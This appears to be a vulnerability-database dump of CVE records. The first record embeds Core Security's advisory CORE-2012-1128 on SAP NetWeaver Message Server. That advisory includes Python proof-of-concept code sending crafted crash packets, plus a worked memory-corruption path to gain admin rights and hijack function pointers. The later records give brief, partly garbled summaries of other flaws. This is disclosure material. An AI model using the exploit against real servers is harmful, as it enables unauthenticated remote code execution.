|
var-202001-0832
|
A Buffer Overflow vulnerability exists in the Message Server service _MsJ2EE_AddStatistics() function when sending specially crafted SAP Message Server packets to remote TCP ports 36NN and/or 39NN in SAP NetWeaver 2004s, 7.01 SR1, 7.02 SP06, and 7.30 SP04, which could let a remote malicious user execute arbitrary code. SAP NetWeaver Contains a classic buffer overflow vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Authentication is not required to exploit this vulnerability. The specific flaw exists within the msg_server.exe listening on 3900 by default. When the msg_server parses a message with opcode 0x43 and sub-opcode 0x04 it uses a user suplied size field to copy a string into a static sized stack buffer. The resulting buffer overflow can lead to remote code execution under the context of the process. Authentication is not required to exploit this vulnerability.The specific flaw exists within the way SAP NetWeaver handles packages with opcode 0x43. If a package with sub opcode 0x4 contains a long parameter value string NetWeaver will eventually write a \x00 byte onto the stack to mark the end of the string. SAP NetWeaver has a defect in the message with the opcode 0x43. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. Msg_server.exe listens to port 3900 by default. Arbitrary code.
Successfully exploiting these issues may allow an attacker to execute arbitrary code with the privileges of the user running the affected application or cause denial-of-service conditions.
The following products are affected:
SAP Netweaver 2004s
SAP Netweaver 7.01 SR1
SAP Netweaver 7.02 SP06
SAP Netweaver 7.30 SP04.
The vulnerability is due to a memory pointer error while processing certain packets by the affected software. Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/
CORE-2012-1128
1. *Advisory Information*
Title: SAP Netweaver Message Server Multiple Vulnerabilities
Advisory ID: CORE-2012-1128
Advisory URL:
http://www.coresecurity.com/content/SAP-netweaver-msg-srv-multiple-vulnerabilities
Date published: 2013-02-13
Date of last update: 2013-02-13
Vendors contacted: SAP
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Improper Validation of Array Index [CWE-129], Buffer overflow
[CWE-119]
Impact: Code execution, Denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-1592, CVE-2013-1593
3. By sending different messages,
the different vulnerabilities can be triggered.
4. *Vulnerable packages*
. Older versions are probably affected too, but they were not checked.
5. *Non-vulnerable packages*
. Vendor did not provide this information.
6. *Vendor Information, Solutions and Workarounds*
SAP released the security note 1800603 [2] regarding these issues.
7. *Credits*
Vulnerability [CVE-2013-1592] was discovered by Martin Gallo and
Francisco Falcon, and additional research was performed by Francisco
Falcon. Vulnerability [CVE-2013-1593] was discovered and researched by
Martin Gallo from Core Security Consulting Services. The publication of
this advisory was coordinated by Fernando Miranda from Core Advisories
Team.
8. *Technical Description / Proof of Concept Code*
The following python script is the main PoC that can be used to
reproduce all vulnerabilities described below:
/-----
import socket, struct
from optparse import OptionParser
# Parse the target options
parser = OptionParser()
parser.add_option("-d", "--hostname", dest="hostname", help="Hostname",
default="localhost")
parser.add_option("-p", "--port", dest="port", type="int", help="Port
number", default=3900)
(options, args) = parser.parse_args()
client_string = '-'+' '*39
server_name = '-'+' '*39
def send_packet(sock, packet):
packet = struct.pack("!I", len(packet)) + packet
sock.send(packet)
def receive(sock):
length = sock.recv(4)
(length, ) = struct.unpack("!I", length)
data = ""
while len(data)<length:
data+= sock.recv(length)
return (length, data)
def initialize_connection(hostname, port):
# Connect
print "[*] Connecting to", hostname, "port", port
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((hostname, port))
# Send initialization packet
print "[*] Conected, sending login request"
init = '**MESSAGE**\x00' # eyecatcher
init+= '\x04' # version
init+= '\x00' # errorno
init+= client_string # toname
init+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #
msgtype/reserved/key
init+= '\x01\x08' # flag / iflag (MS_LOGIN_2)
init+= client_string # fromname
init+= '\x00\x00' # padd
send_packet(connection, init)
# Receive response
print "[*] Receiving login reply"
(length, data) = receive(connection)
# Parsing login reply
server_name = data[4+64:4+64+40]
return connection
# Main PoC body
connection = initialize_connection(options.hostname, options.port)
send_attack(connection)
-----/
In the following subsections, we give the python code that can be added
after the script above in order to reproduce all vulnerabilities.
8.1. Malicious
packets are processed by the vulnerable function '_MsJ2EE_AddStatistics'
in the 'msg_server.exe' module.
The vulnerable function '_MsJ2EE_AddStatistics' receives a pointer to a
'MSJ2EE_HEADER' struct as its third parameter, which is fully controlled
by the attacker. This struct type is defined as follows:
/-----
00000000 MSJ2EE_HEADER struct ; (sizeof=0x28, standard type)
00000000 senderclusterid dd ?
00000004 clusterid dd ?
00000008 serviceid dd ?
0000000C groupid dd ?
00000010 nodetype db ?
00000011 db ? ; undefined
00000012 db ? ; undefined
00000013 db ? ; undefined
00000014 totallength dd ?
00000018 currentlength dd ?
0000001C currentoffset dd ?
00000020 totalblocks db ?
00000021 currentblock db ?
00000021
00000022 db ? ; undefined
00000023 db ? ; undefined
00000024 messagetype dd ?
00000028 MSJ2EE_HEADER ends
-----/
The '_MsJ2EE_AddStatistics' function uses the 'serviceid' field of the
'MSJ2EE_HEADER' to calculate an index to write into the
'j2ee_stat_services' global array, without properly validating that the
index is within the boundaries of the array. On the other hand,
'j2ee_stat_services' is a global array of 256 elements of type
'MSJ2EE_STAT_ELEMENT':
/-----
.data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256]
.data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>)
.data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o
.data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ...
-----/
This vulnerability can be used to corrupt arbitrary memory with
arbitrary values, with some restrictions. The following snippet shows
the vulnerable code within the '_MsJ2EE_AddStatistics' function:
/-----
mov edi, [ebp+pJ2eeHeader]
mov eax, [edi+MSJ2EE_HEADER.serviceid] ;attacker
controls MSJ2EE_HEADER.serviceid
xor ecx, ecx
cmp dword ptr j2ee_stat_total.totalMsgCount+4, ecx
lea esi, [eax+eax*8]
lea esi, j2ee_stat_services.totalMsgCount[esi*8] ;using the index
without validating array bounds
-----/
Since the 'serviceid' value is first multiplied by 9 and then it is
multiplied by 8, the granularity of the memory addresses that can be
targeted for memory corruption is 0x48 bytes, which is the size of the
'MSJ2EE_STAT_ELEMENT' struct:
/-----
00000000 MSJ2EE_STAT_ELEMENT struc ; (sizeof=0x48, standard type)
00000000 ; XREF:
.data:j2ee_stat_totalr
00000000 ; .data:j2ee_stat_servicesr
00000000 totalMsgCount dq ? ; XREF:
_MsJ2EE_AddStatistics+1Br
00000000 ;
_MsJ2EE_AddStatistics+2Fr ...
00000008 totalMsgLength dq ? ; XREF:
_MsJ2EE_AddStatistics+192r
00000008 ;
_MsJ2EE_AddStatistics+19Br ...
00000010 avgMsgLength dq ? ; XREF:
_MsJ2EE_AddStatistics+1C2w
00000010 ;
_MsJ2EE_AddStatistics+1C7w ...
00000018 maxLength dq ? ; XREF:
_MsJ2EE_AddStatistics+161r
00000018 ;
_MsJ2EE_AddStatistics+16Er ...
00000020 noP2PMessage dq ? ; XREF:
_MsJ2EE_AddStatistics:loc_44D442w
00000020 ;
_MsJ2EE_AddStatistics+158w ...
00000028 noP2PRequest dq ? ; XREF:
_MsJ2EE_AddStatistics+144w
00000028 ;
_MsJ2EE_AddStatistics+14Aw ...
00000030 noP2PReply dq ? ; XREF:
_MsJ2EE_AddStatistics+132w
00000030 ;
_MsJ2EE_AddStatistics+138w ...
00000038 noBroadcastMessage dq ? ; XREF:
_MsJ2EE_AddStatistics:loc_44D40Dw
00000038 ;
_MsJ2EE_AddStatistics+123w ...
00000040 noBroadcastRequest dq ? ; XREF:
_MsJ2EE_AddStatistics+10Fw
00000040 ;
_MsJ2EE_AddStatistics+115w ...
00000048 MSJ2EE_STAT_ELEMENT ends
-----/
However, it is possible to use different combinations of the
'flag/iflag' values in the Message Server packet to gain more precision
over the memory addresses that can be corrupted. Different combinations
of 'flag/iflag' values provide different memory corruption primitives,
as shown below:
/-----
At this point:
* ESI points to an arbitrary, attacker-controlled memory address
* EBX == 1
.text:0044D359 movzx eax, [ebp+msiflag]
.text:0044D35D sub eax, 0Ch
.text:0044D360 jz short loc_44D37C
.text:0044D362 sub eax, ebx
.text:0044D364 jnz short loc_44D39D
.text:0044D366 cmp [ebp+msflag], 2
.text:0044D36A jnz short loc_44D374
.text:0044D36C add [esi+40h], ebx ; iflag=0xd,
flag=2 => add 1 to [esi+0x40]
.text:0044D36F adc [esi+44h], ecx
.text:0044D372 jmp short loc_44D39D
.text:0044D374 ;
---------------------------------------------------------------------------
.text:0044D374
.text:0044D374 loc_44D374: ; CODE XREF:
_MsJ2EE_AddStatistics+7Aj
.text:0044D374 add [esi+38h], ebx ; iflag=0xd,
flag=1 => add 1 to [esi+0x38]
.text:0044D377 adc [esi+3Ch], ecx
.text:0044D37A jmp short loc_44D39D
.text:0044D37C ;
---------------------------------------------------------------------------
.text:0044D37C
.text:0044D37C loc_44D37C: ; CODE XREF:
_MsJ2EE_AddStatistics+70j
.text:0044D37C mov al, [ebp+msflag]
.text:0044D37F cmp al, 3
.text:0044D381 jnz short loc_44D38B
.text:0044D383 add [esi+30h], ebx ; iflag=0xc,
flag=3 => add 1 to [esi+0x30]
.text:0044D386 adc [esi+34h], ecx
.text:0044D389 jmp short loc_44D39D
.text:0044D38B ;
---------------------------------------------------------------------------
.text:0044D38B
.text:0044D38B loc_44D38B: ; CODE XREF:
_MsJ2EE_AddStatistics+91j
.text:0044D38B cmp al, 2
.text:0044D38D jnz short loc_44D397
.text:0044D38F add [esi+28h], ebx ; iflag=0xc,
flag=2 => add 1 to [esi+0x28]
.text:0044D392 adc [esi+2Ch], ecx
.text:0044D395 jmp short loc_44D39D
.text:0044D397 ;
---------------------------------------------------------------------------
.text:0044D397
.text:0044D397 loc_44D397: ; CODE XREF:
_MsJ2EE_AddStatistics+9Dj
.text:0044D397 add [esi+20h], ebx ; iflag=0xc,
flag=1 => add 1 to [esi+0x20]
.text:0044D39A adc [esi+24h], ecx
[...]
-----/
And the following code excerpt is always executed within the
'_MsJ2EE_AddStatistics' function, providing two more memory corruption
primitives:
/-----
.text:0044D3B7 add [esi],
ebx ;add 1 to [esi]
.text:0044D3B9 adc dword ptr [esi+4], 0
.text:0044D3BD mov eax,
[edi+MSJ2EE_HEADER.totallength] ;MSJ2EE_HEADER.totallength is fully
controlled by the attacker
.text:0044D3C0 cdq
.text:0044D3C1 add [esi+8],
eax ;add an arbitrary number to [esi+8]
-----/
This memory corruption vulnerability can be used by remote
unauthenticated attackers to execute arbitrary code on vulnerable
installations of SAP Netweaver, but it can also be abused to modify the
internal state of the vulnerable service in order to gain administrative
privileges within the SAP Netweaver Message Server.
A client connected to the Message Server may have administrative
privileges or not. The Message Server holds a structure of type
'MSADM_s' for each connected client, which contains information about
that very connection. Relevant parts of the 'MSADM_s' struct type are
shown below:
/-----
00000000 MSADM_s struc ; (sizeof=0x538, standard type)
00000000 ; XREF: .data:dummy_clientr
00000000 client_type dd ? ; enum MS_CLIENT_TYPE
00000004 stat dd ? ; enum MS_STAT
00000008 connection_ID dd ?
0000000C status db ?
0000000D dom db ? ; XREF: MsSFillCon+3Cw
0000000E admin_allowed db ?
0000000F db ? ; undefined
00000010 name dw 40 dup(?)
[...]
00000534 _padding db 4 dup(?)
00000538 MSADM_s ends
-----/
The 'admin_allowed' field at offset 0x0E is a boolean value that
indicates whether the connected client has administrative privileges or
not. When a new client connects, the 'MsSLoginClient' function of the
Message Server sets the proper value for the 'admin_allowed' field in
the 'MSADM_s' struct instance associated with that client:
/-----
.text:004230DC
loc_4230DC: ; CODE
XREF: MsSLoginClient+AAAj
.text:004230DC
; MsSLoginClient+B26j
.text:004230DC cmp byte ptr [edi+0Eh],
0 ; privileged client?
.text:004230E0 jnz short
loc_4230EA ; if yes, jump
.text:004230E2 mov al, byte ptr
ms_admin_allowed ; otherwise, grab the value of the
"ms_admin_allowed" global variable...
.text:004230E7 mov [edi+0Eh],
al ; ...and save it to MSADM_s.admin_allowed
-----/
So if we manage to overwrite the value of the 'ms_admin_allowed' global
variable with a value different than 0, then we can grant administrative
privileges to our unprivileged connections. In SAP Netweaver
'msg_server.exe' v7200.70.18.23869, the 'ms_admin_allowed' global
variable is located at '0x008f17f0':
/-----
.data:008F17F0 ; int ms_admin_allowed
.data:008F17F0 ms_admin_allowed dd ? ; DATA XREF:
MsSSetMonitor+7Ew
.data:008F17F0 ; MsSLoginClient+B62r
-----/
And the 'j2ee_stat_services' global array, which is the array that can
be indexed outside its bounds, is located at '0x0090b9e0':
/-----
.data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256]
.data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>)
.data:0090B9E0 ; DATA XREF:
_MsJ2EE_AddStatistics+24o
.data:0090B9E0 ;
_MsJ2EE_AddStatistics+4Co ...
-----/
So, by providing 'MSJ2EE_HEADER.serviceid == 0x038E3315', we will be
targeting '0x008F17C8' as the base address for memory corruption. Having
in mind the different memory corruption primitives based on combinations
of 'flag/iflag' fields described above, by specifying 'iflag == 0xC' and
'flag == 0x2' in our Message Server packet we will be able to add 1 to
'[0x008F17C8+0x28]', effectively overwriting the contents of
'0x008F17F0' ('ms_admin_allowed'). After overwriting 'ms_admin_allowed',
all of our future connections will have administrative privileges within
the Message Server.
After gaining administrative privileges for our future connections,
there are at least two possible paths of exploitation:
1. Of
course it is not mandatory to have administrative privileges in order to
overwrite function pointers, but considering the limitation of
targetable addresses imposed by the little granularity of the memory
corruption, some of the most handy-to-exploit function pointers happened
to be accessible just for administrative connections.
2. Modify the configuration and behavior of the server. That includes
changing Message Server's runtime parameters and enabling Monitor Mode
in the affected server.
8.1.1. *Gaining remote code execution by overwriting function pointers*
Having in mind that the granularity of the memory addresses that can be
targeted for memory corruption is not that flexible (0x48 bytes) and the
limited memory corruption primitives available, it takes some effort to
find a function pointer that can be overwritten with a useful value and
which can be later triggered with a network packet.
One possibility is to overwrite one of the function pointers which are
in charge of handling the modification of Message Server parameters:
/-----
.data:0087DED0 ; SHMPRF_CHANGEABLE_PARAMETER ms_changeable_parameter[58]
; function pointers associated to the modification of the "ms/max_sleep"
parameter
.data:0087DED0 ms_changeable_parameter SHMPRF_CHANGEABLE_PARAMETER
<offset aMsMax_sleep, \
.data:0087DED0 offset
MsSTestInteger, \ ; "rdisp/TRACE_PATTERN_2"
.data:0087DED0 offset
MsSSetMaxSleep>
; function pointers associated to the modification of the "ms/max_vhost"
parameter
.data:0087DED0 SHMPRF_CHANGEABLE_PARAMETER <offset
aMsMax_vhost, \
.data:0087DED0 offset
MsSTestInteger, \ ;<-- we can overwrite this one
.data:0087DED0 offset
MsSSetMaxVirtHost>
[...]
-----/
By providing 'MSJ2EE_HEADER.serviceid == 0x038E1967' we can target
'0x0087DED8' as the base address for memory corruption. In this case we
can use the memory corruption primitive at address '0x0044D3C1' that
always gets executed, which will allow us to add an arbitrary number
(the value of 'MSJ2EE_HEADER.totallength') to '[0x0087DED8+8]'
effectively overwriting the function pointer shown above
('ms_changeable_parameter[1].set').
After that we need to send a 'MS_SET_PROPERTY' request, specifying
'ms/max_vhost' as the name of the property to be changed. This
'MS_SET_PROPERTY' packet will make our overwritten function pointer to
be called from the 'MsSChangeParam' function:
/-----
.text:00404DB3 loc_404DB3: ; CODE XREF:
MsSChangeParam+CDj
.text:00404DB3 lea esi, [edi+edi*2]
.text:00404DB6 mov edi, [ebp+pvalue]
.text:00404DB9 add esi, esi
.text:00404DBB mov edx,
ms_changeable_parameter.test[esi+esi]
.text:00404DC2 add esi, esi
.text:00404DC4 push edi
.text:00404DC5 push pname
.text:00404DC6 call edx ; call our
overwritten function pointer
-----/
'MS_SET_PROPERTY' packets will be ignored by the Message Server if the
requesting client does not have administrative privileges, so it is
necessary to gain administrative privileges as explained above before
using the memory corruption vulnerability to overwrite one of the
function pointers in the 'ms_changeable_parameter' global array.
8.1.2. *Modify the configuration and behavior of the server*
After gaining administrative privileges for our connections, it is
possible to perform 'MS_SET_PROPERTY' packets against the Message Server
in order to modify its configuration and behavior. That makes possible,
for example, to add virtual hosts to the load balancer, or to enable
Monitor Mode [3] (transaction SMMS) on the affected server. Enabling
Monitor Mode takes two steps:
1. Send a 'MS_SET_PROPERTY' packet with property 'name ==
"ms/monitor"', property 'value == 1'.
2. Send a 'MS_SET_PROPERTY' packet with property 'name ==
"ms/admin_port"', property 'value == 3535' (or any other arbitrary port
number).
After sending the second 'MS_SET_PROPERTY' packet, the SAP Netweaver
Message Server will start listening on the specified port, waiting for
connections from instances of the msmon.exe monitoring program [4].
The following python code can be used to trigger the vulnerability:
/-----
def send_attack(connection):
print "[*] Sending crash packet"
crash = '**MESSAGE**\x00' # eyecatcher
crash+= '\x04' # version
crash+= '\x00' # errorno
crash+= server_name # toname
crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #
msgtype/reserved/key
crash+= '\x04\x0d' # flag/iflag
crash+= client_string # fromname
crash+= '\x00\x00' # padd
crash+=
"ABCDEFGH"+"\x01\x00\x00\x00"+"MNOPQRSTUVWXYZ0123"+"\x01"+"56789abcd"
crash+= "\x00\x00\x00\x01"
crash+= "\xff\xff\xff\xff"
crash+= "\x00\x00\x00\x00"
send_packet(connection, crash)
print "[*] Crash sent !"
-----/
8.2.
Malicious packets are processed by the vulnerable function 'WRITE_C' in
the 'msg_server.exe' module.
The following python code can be used to trigger the vulnerability:
/-----
def send_attack(connection):
print "[*] Sending crash packet"
crash = '**MESSAGE**\x00' # eyecatcher
crash+= '\x04' # version
crash+= '\x00' # errorno
crash+= server_name # toname
crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #
msgtype/reserved/key
crash+= '\x04\x05' # flag/iflag
crash+= client_string # fromname
crash+= '\x00\x00' # padd
crash+= "AD-EYECATCH\x00"
crash+= "\x01\x01"
crash+= "%11d" % 104
crash+= "%11d" % 1
crash+= "\x15\x00\x00\x00"
crash+= "\x20\x00\x00\xc8"
crash+= "LALA" + ' '*(20-4)
crash+= "LOLO" + ' '*(40-4)
crash+= " "*36
send_packet(connection, crash)
print "[*] Crash sent !"
-----/
9. *Report Timeline*
. 2012-12-10:
Core Security Technologies notifies the SAP team of the vulnerability,
setting the estimated publication date of the advisory for January 22nd,
2013. 2012-12-10:
Core sends an advisory draft with technical details and a PoC. 2012-12-11:
The SAP team confirms the reception of the issue. 2012-12-21:
SAP notifies that they concluded the analysis of the reported issues and
confirms two out of the five vulnerabilities. Vendor also notifies that
the other three reported issues were already fixed in February, 2012.
Vendor also notifies that the necessary code changes are being done and
extensive tests will follow. The corresponding security note and patches
are planned to be released on the Security Patch Day in Feb 12th 2013. 2012-12-21:
Core re-schedules the advisory publication for Feb 12th, 2013. 2012-12-28:
SAP notifies Core that they will be contacted if tests fails in order to
re-schedule the advisory publication. 2013-01-22:
First release date missed. 2013-01-28:
SAP notifies that they are still confident with releasing a security
note and patches on Feb 12th as planned. 2013-01-29:
Core acknowledges receiving the information and notifies that everything
is ready for public disclosing on Feb 12th. Core also asks additional
information regarding the patched vulnerabilities mentioned in
[2012-12-21], including links to security bulletin, CVEs, and patches in
order to verify if those patches effectively fix the reported flaws. 2013-02-01:
SAP notifies that the patched vulnerabilities mentioned in [2012-12-21]
were reported in [5] and no CVE were assigned to them. Those
vulnerabilities seems to be related to ZDI advisories [6], [7], [8]. 2013-02-06:
Core notifies that the patched vulnerabilities will be removed from the
advisory and asks additional information regarding the affected and
patched version numbers. 2013-02-01:
SAP notifies that the security note 1800603 will be released and that
note will provide further information regarting this vulnerability. 2013-02-13:
Advisory CORE-2012-1128 published.
10. *References*
[1] http://www.sap.com/platform/netweaver/index.epx.
[2] SAP Security note Feb 2013
https://service.sap.com/sap/support/notes/1800603.
[3]
http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/bdc344cc104231e10000000a421937/content.htm.
[4]
http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/c2e782b8fd3020e10000000a42189d/frameset.htm.
[5] SAP Security notes Feb 2012
https//service.sap.com/sap/support/notes/1649840.
[6] http://www.zerodayinitiative.com/advisories/ZDI-12-104/.
[7] http://www.zerodayinitiative.com/advisories/ZDI-12-111/.
[8] http://www.zerodayinitiative.com/advisories/ZDI-12-112/.
11. *About CoreLabs*
CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://corelabs.coresecurity.com.
12. *About Core Security Technologies*
Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.
13. *Disclaimer*
The contents of this advisory are copyright (c) 2012 Core Security
Technologies and (c) 2012 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
14. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
ZDI-12-104 : SAP Netweaver ABAP msg_server.exe Parameter Value Remote Code
Execution Vulnerability
http://www.zerodayinitiative.com/advisories/ZDI-12-104
June 27, 2012
- -- CVE ID:
- -- CVSS:
10, AV:N/AC:L/Au:N/C:C/I:C/A:C
- -- Affected Vendors:
SAP
- -- Affected Products:
SAP NetWeaver
- -- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 12407.
- -- Vendor Response:
SAP has issued an update to correct this vulnerability. More details can be
found at:
http://www.sdn.sap.com/irj/sdn/index?rid=/webcontent/uuid/c05604f6-4eb3-2d1
0-eea7-ceb666083a6a#section40
- -- Disclosure Timeline:
2011-10-28 - Vulnerability reported to vendor
2012-06-27 - Coordinated public release of advisory
- -- Credit:
This vulnerability was discovered by:
* e6af8de8b1d4b2b6d5ba2610cbf9cd38
- -- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.
Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:
http://www.zerodayinitiative.com
The ZDI is unique in how the acquired vulnerability information is
used. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.
Our vulnerability disclosure policy is available online at:
http://www.zerodayinitiative.com/advisories/disclosure_policy/
Follow the ZDI on Twitter:
http://twitter.com/thezdi
-----BEGIN PGP SIGNATURE-----
Version: PGP Desktop 10.2.0 (Build 1950)
Charset: utf-8
wsBVAwUBT+spXFVtgMGTo1scAQLsaAf7BDBhaaXu2xrm0nKo4KXmCuA091M40I4t
uAkVEE7Zb4eFCtth3tsGSExGqDJp5LKfMe+KNfXUHMWcju+khxep8qfwxhnrtK2E
1doQXQmrqCJunJLKwReEa5MpcZGsYyantq0kCczWf5ZYlzLEsSk51GEYfvHx7WrR
XFTr4krClMcDxi9nOxNDr/CqqGxxQlDgBsMD3EyzVQ92PBG8kTZHUAJwBPqh7Ku3
JqBWzVKDVVEsGxe7dlG4fXKIaDlCHaHJmsAr7+1Uw/DmfDOaTQMLRLvdGHY9Vpm6
wGIQD/1eAW66eLSBOeWXiRNHcorXRwu/SxQP8zIESkmWLZwKfZqbMA==
=t/ct
-----END PGP SIGNATURE-----
|
|
var-201208-0222
|
Multiple stack-based buffer overflows in msg_server.exe in SAP NetWeaver ABAP 7.x allow remote attackers to cause a denial of service (crash) and execute arbitrary code via a (1) long parameter value, (2) crafted string size field, or (3) long Parameter Name string in a package with opcode 0x43 and sub opcode 0x4 to TCP port 3900. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of SAP Netweaver ABAP. Authentication is not required to exploit this vulnerability. The specific flaw exists within the msg_server.exe listening on 3900 by default. When the msg_server parses a message with opcode 0x43 and sub-opcode 0x04 it uses a user suplied size field to copy a string into a static sized stack buffer. The resulting buffer overflow can lead to remote code execution under the context of the process. Authentication is not required to exploit this vulnerability.The specific flaw exists within the way SAP NetWeaver handles packages with opcode 0x43. SAP NetWeaver has a defect in the message with the opcode 0x43. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. Msg_server.exe listens to port 3900 by default. Arbitrary code. NetWeaver ABAP is prone to a denial-of-service vulnerability |
|
var-202108-1148
|
An access issue was addressed with improved access restrictions. This issue is fixed in macOS Monterey 12.0.1. A malicious application may be able to access local users' Apple IDs. apple's macOS Exists in unspecified vulnerabilities.Information may be obtained. ** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by the CVE program. Notes: none |
|
var-200202-0006
|
Vulnerabilities in a large number of SNMP implementations allow remote attackers to cause a denial of service or gain privileges via SNMPv1 trap handling, as demonstrated by the PROTOS c06-SNMPv1 test suite. NOTE: It is highly likely that this candidate will be SPLIT into multiple candidates, one or more for each vendor. This and other SNMP-related candidates will be updated when more accurate information is available. Multiple vendor SNMPv1 Trap handling implementations contain vulnerabilities that may allow unauthorized privileged access, denial-of-service conditions, or unstable behavior . If your site uses SNMP in any capacity, the CERT/CC encourages you to read the information provided below. ------------ This vulnerability information is a summary of multiple vulnerabilities released at the same time. Please note that the contents of vulnerability information other than the title are included. ------------ SNMP Protocol is status and performance information MIB (Management Information Base) Protocol used to exchange Management side SNMP Managers such as managed routers, switches and printers SNMP Communicates with management network devices called agents. Because of its wide acceptance in the market, SNMP Has become the standard for SNMP protocol version1 Is SNMPv1 Is the most widely implemented. this SNMPv1 Sent from the agent to the manager in the implementation of SNMP Trap message and sent from the manager to the agent SNMP Decrypt the request message / There are problems in interpreting. If this problem is used by an attacker, the following actions may be executed. Many other programs that you implement may also be affected because of a protocol problem. On the target host SNMP If the service is running, an attacker could execute arbitrary code ・ If a buffer overflow attack is feasible and a very long trap message SNMP If the host on which the service is running receives, the application may go into a denial of service state The effects described above vary from application to application. For details, refer to each product.Please refer to the “Overview” for the impact of this vulnerability. Windows 95 is prone to a denial-of-service vulnerability. MPE/iX is an Internet-ready operating system for the HP e3000 class servers. It is possible to crash the service by transmitting to it a maliciously constructed SNMPv1 request PDU. It was previously known as UCD-SNMP. They typically notify the manager that some event has occured or otherwise provide information about the status of the agent.
Multiple vulnerabilities have been discovered in a number of SNMP implementations. The vulnerabilities are known to exist in the process of decoding and interpreting SNMP trap messages.
Among the possible consequences are denial of service and allowing attackers to compromise target systems. These depend on the individual vulnerabilities in each affected product.
HP has confirmed that large traps will cause OpenView Network Node Manager to crash. This may be due to an exploitable buffer overflow condition |
|
var-202007-0395
|
Advantech iView, versions 5.6 and prior, contains multiple SQL injection vulnerabilities that are vulnerable to the use of an attacker-controlled string in the construction of SQL queries. An attacker could extract user credentials, read or modify information, and remotely execute code. Advantech iView Has SQL An injection vulnerability exists.Information is obtained, information is tampered with, and service is disrupted (DoS) It may be put in a state. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Advantech iView. Authentication is not required to exploit this vulnerability.The specific flaw exists within the NetworkServlet servlet. The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise |
|
var-201805-1147
|
WPLSoft in Delta Electronics versions 2.45.0 and prior utilizes a fixed length heap buffer where a value larger than the buffer can be read from a file into the buffer, causing the buffer to be overwritten, which may allow remote code execution or cause the application to crash. Delta Electronics WPLSoft Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Delta Industrial Automation WPLSoft. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the parsing of dvp files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the current process. Delta Industrial Automation is the industry automation vendor for power management and cooling solutions worldwide. The length of the data provided by the user is not verified. WPLSoft (Delta PLC programming software) is a PLC program programming software used by Delta Electronics in the WINDOWS operating system environment. Delta Electronics WPLSoft has a heap buffer overflow vulnerability. Execute or cause the application to crash. A stack-based buffer-overflow vulnerability
2. A heap-based buffer-overflow vulnerability
3.
Delta Industrial WPLSoft Version 2.45.0 and prior versions are vulnerable |
|
var-201902-0647
|
